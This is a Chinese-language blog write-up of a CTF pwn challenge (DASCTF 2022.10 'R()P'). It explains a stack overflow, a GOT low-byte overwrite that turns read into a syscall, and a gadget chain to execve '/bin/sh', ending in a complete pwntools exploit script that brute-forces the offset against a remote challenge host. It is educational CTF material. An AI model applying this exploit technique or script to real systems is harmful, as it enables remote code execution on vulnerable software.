DASCTF_2022_10 R()P

DASCTF_2022_10 ROP()

突然想到栈题好久没复习了,找了个旧题练了练。

代码审计

一黄一绿两红的防护

主要函数逻辑:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char **v3; // rdx
  char v5[4]; // [rsp+8h] [rbp-10h] BYREF
  void *buf; // [rsp+Ch] [rbp-Ch] BYREF

  LODWORD(buf) = 0x100;
  read(0, &buf, 4uLL);
  if ( (unsigned int)buf > 0x100 )
    main(0, (const char **)&buf, v3);
  read(0, v5, (unsigned int)buf);
  return (int)buf;
}

非常简单的程序,难点在于没有合适的gadget,这个题大概采用了更高级别的编译方式,不像是常规的ELF,里面会有"pop rdi;ret;"以及csu等好用的gadget

另外,题目没有write,让泄露变得难上加难

巧用gadget

首先,有个小技巧,read+0x10的位置是syscall指令,如果我们可以修改read的got表项的低位,就可以把执行read函数的操作变成执行syscall。

由于这一题没有给我们提供write函数,所以这题泄露libc较为困难,思路定在覆盖got表低位修改为syscall,之后尝试修改寄存器执行execve的syscall。

为此我们要实现:

  1. rax为0x3b
  2. rdi指向/bin/sh
  3. rsi为0(或指向0)
  4. rdx为0(或指向0)
    由于没有开启PIE,所以一般来说我们能控制edi就相当于控制了rdi,别的寄存器同理

使用ROPgadget --binary ./pwn可以查看好用的gadget,我们会发现如下gadget比较好用:

0x0000000000401099 : mov edi, 0x404018 ; jmp rax

这里把0x404018赋值给了edi,并且跳转到了rax处。而0x404018是bss段的地址(你在ida里面可以看到这个是bss_start),这里是空白的,没有重要数据在此存储,且这里可写。我们可以设法把/bin/sh写在这里。

那么又有了一个问题rax如何控制?

main函数结尾有这一段指令:

.text:000000000040116D 8B 44 24 0C                   mov     eax, dword ptr [rsp+18h+buf]
.text:0000000000401171 48 83 C4 18                   add     rsp, 18h
.text:0000000000401175 C3                            retn

这段汇编指令可以将栈上数据赋值给eax,并且栈会自动往下降,不用担心填入的数据会影响rop链的布置

再看第二次调用read函数

.text:0000000000401155                               loc_401155:                             ; CODE XREF: main+5A↓j
.text:0000000000401155 48 8D 44 24 08                lea     rax, [rsp+18h+var_10]
.text:000000000040115A 48 89 C6                      mov     rsi, rax                        ; buf
.text:000000000040115D 8B 54 24 0C                   mov     edx, dword ptr [rsp+18h+buf]    ; nbytes
.text:0000000000401161 31 FF                         xor     edi, edi                        ; fd
.text:0000000000401163 B8 00 00 00 00                mov     eax, 0
.text:0000000000401168 E8 C3 FE FF FF                call    _read
.text:000000000040116D 8B 44 24 0C                   mov     eax, dword ptr [rsp+18h+buf]
.text:0000000000401171 48 83 C4 18                   add     rsp, 18h
.text:0000000000401175 C3                            retn

我们可以将返回地址设置到mov rsi, rax上这样我们就能借机控制rsi

同时,将返回地址设置为mov edx, dword ptr [rsp+18h+buf],就能利用栈上布置的数据控制edx

注意,每次read后,后面会跟上之前能控制eax的gadget,因此每次read后,先前给rdx赋的值还会再一次赋值给rax。

这一个read有个问题,每次的read之前都会让eax为0

我们还有上一个read,这也提供了一个很重要的指令:

.text:0000000000401141 48 8D 74 24 0C                lea     rsi, [rsp+18h+buf]              ; buf
.text:0000000000401146 E8 E5 FE FF FF                call    _read

可以靠它来控制执行read函数之前rsi指向地址的值,这里可以用在跑execve的时候让rsi指向0

于是便有了如下思路:

  1. 设置rax为bss_start,再跳到read上面去修改rsi为bss_start,之后把/bin/sh读进bss
  2. 设置rax为read_got,再跳到read上面去修改rsi为bss_start,之后把偏移写进read地址的低位,由于题目没有给出libc这里需要爆破。read函数很简短,函数起点也都是0x10对齐的,一般来说一个字节之内就爆破出来。
  3. 直接跳回到read上方设置edx的地址,控制rdx为0,这样还会往read_got去进行sys_read操作,但是由于edx为0,因此不会破坏read_got
  4. 通过mov eax, dword ptr [rsp+18h+buf],设置rax为mov eax, dword ptr [rsp+18h+buf]的地址(套娃了),然后过去修改rdi为bss_start,依靠rax回来到设置rax的地方,将rax设置为0x3b,再靠着rop链过去清空rsi指向地址(上文后一个read函数)

实际编写的时候,会涉及到长度不够问题。这里注意第一次设置rax为bss_start的时候,可以通过栈溢出操作直接写入bss_start地址。这样就不必耗费一次mov eax, dword ptr [rsp+18h+buf]了。

exp如下

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
#context.log_level = 'debug'

ELFpath = '/home/wjc/Desktop/pwn'
# libcpath='/home/wjc/Desktop/libc.so.6'

# p=process(ELFpath)
p = remote('node4.buuoj.cn', 25965)

e = ELF(ELFpath)
# libc=ELF(libcpath)


def ru(s): return p.recvuntil(s)
def r(n): return p.recv(n)
def sl(s): return p.sendline(s)
def sls(s): return p.sendline(str(s))
def ss(s): return p.send(str(s))


def s(s): return p.send(s)
def uu64(data): return u64(data.ljust(8, '\x00'))
def it(): return p.interactive()
def b(): return gdb.attach(p)


def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))


LOGTOOL = {}


def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s" % (i[0]+":", hex(i[1])))


def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr
    return text_addr, libc_base


def debug():
    text_base, libc_base = get_base(p, 'pwn')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*0x401175
    '''.format(text_base, libc_base)

    # b mprotect
    # b *($text_base+0x0000000000000000F84)
    # b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    # dprintf *($text_base+0x04441),"%c",$ax
    # dprintf *($text_base+0x04441),"%c",$ax
    # 0x12D5
    # 0x04441
    # b *($text_base+0x0000000000001671)
    gdb.attach(p, script)


def pwn(offset):

    # 0x000000000040116d : mov eax, dword ptr [rsp + 0xc] ; add rsp, 0x18 ; ret
    mov_eax_rsp0xc_add_rsp_0x18_ret = 0x40116d
    # read+0x10: syscall     lowbyte:0x10

    magic_read = 0x40115A
    magic_read_another = 0x40115D

    # 0x0000000000401099 : mov edi, 0x404018 ; jmp rax
    mov_edi_bss_jmp_rax = 0x401099

    lea_rsi_rsp0xc0_call_read = 0x401141

    bss_start = 0x404018

    # 0x000000000040101a : ret
    ret_addr = 0x40101a

    read_plt = e.plt['read']
    read_got = e.got['read']

    # debug()

    s(p32(0x100))
    sleep(0.1)

    pay = ''
    pay += p32(0)
    pay += p32(bss_start)
    pay += p64(0)

    pay += p64(magic_read)
    pay += p64(0)
    pay += p32(0)
    pay += p32(0x8)
    pay += p64(0)

    pay += p64(mov_eax_rsp0xc_add_rsp_0x18_ret)
    pay += p64(0)
    pay += p32(0)
    pay += p32(read_got)
    pay += p64(0)

    pay += p64(magic_read)
    pay += p64(0)
    pay += p32(0)
    pay += p32(1)
    pay += p64(0)


    pay += p64(magic_read_another)
    pay += p64(0)
    pay += p32(0)
    pay += p32(0)
    pay += p64(0)

    pay += p64(mov_eax_rsp0xc_add_rsp_0x18_ret)
    pay += p64(0)
    pay += p32(0)
    pay += p32(mov_eax_rsp0xc_add_rsp_0x18_ret)
    pay += p64(0)

    pay += p64(mov_edi_bss_jmp_rax)
    pay += p64(0)
    pay += p32(0)
    pay += p32(0x3b)
    pay += p64(0)

    pay += p64(ret_addr)
    pay += p64(lea_rsi_rsp0xc0_call_read)
    pay = pay.ljust(0x100, '\x00')


    s(pay)


    #pause()
    s('/bin/sh')

    #pause()
    sleep(0.1)
    s(chr(offset))
    sleep(0.1)
    sl('echo winwinwin')
    ru('winwinwin')
    
p.close()
if __name__ == "__main__":
    for i in range(0x100):
        try:
            p = remote('node4.buuoj.cn', 25965)
            #p=process(ELFpath)

            print("offset: %s",hex(i))  
            pwn(i)            
            it()
        except:
            p.close()

理念提炼

  1. 修改got表项创造syscall
  2. 传参所用寄存器的设置过程,会涉及到一其他寄存器作为中介,如上面的rax,可以通过这个方式来控制截胡某个寄存器。这里需要就题论题
  3. gadget题需要广泛搜索一切能用的gadget,善用ida和ROPgadget的搜索功能,不要被先入为主的想法架空,要深入到具体的汇编指令中
posted @ 2023-06-12 22:41  Jmp·Cliff  阅读(49)  评论(0编辑  收藏  举报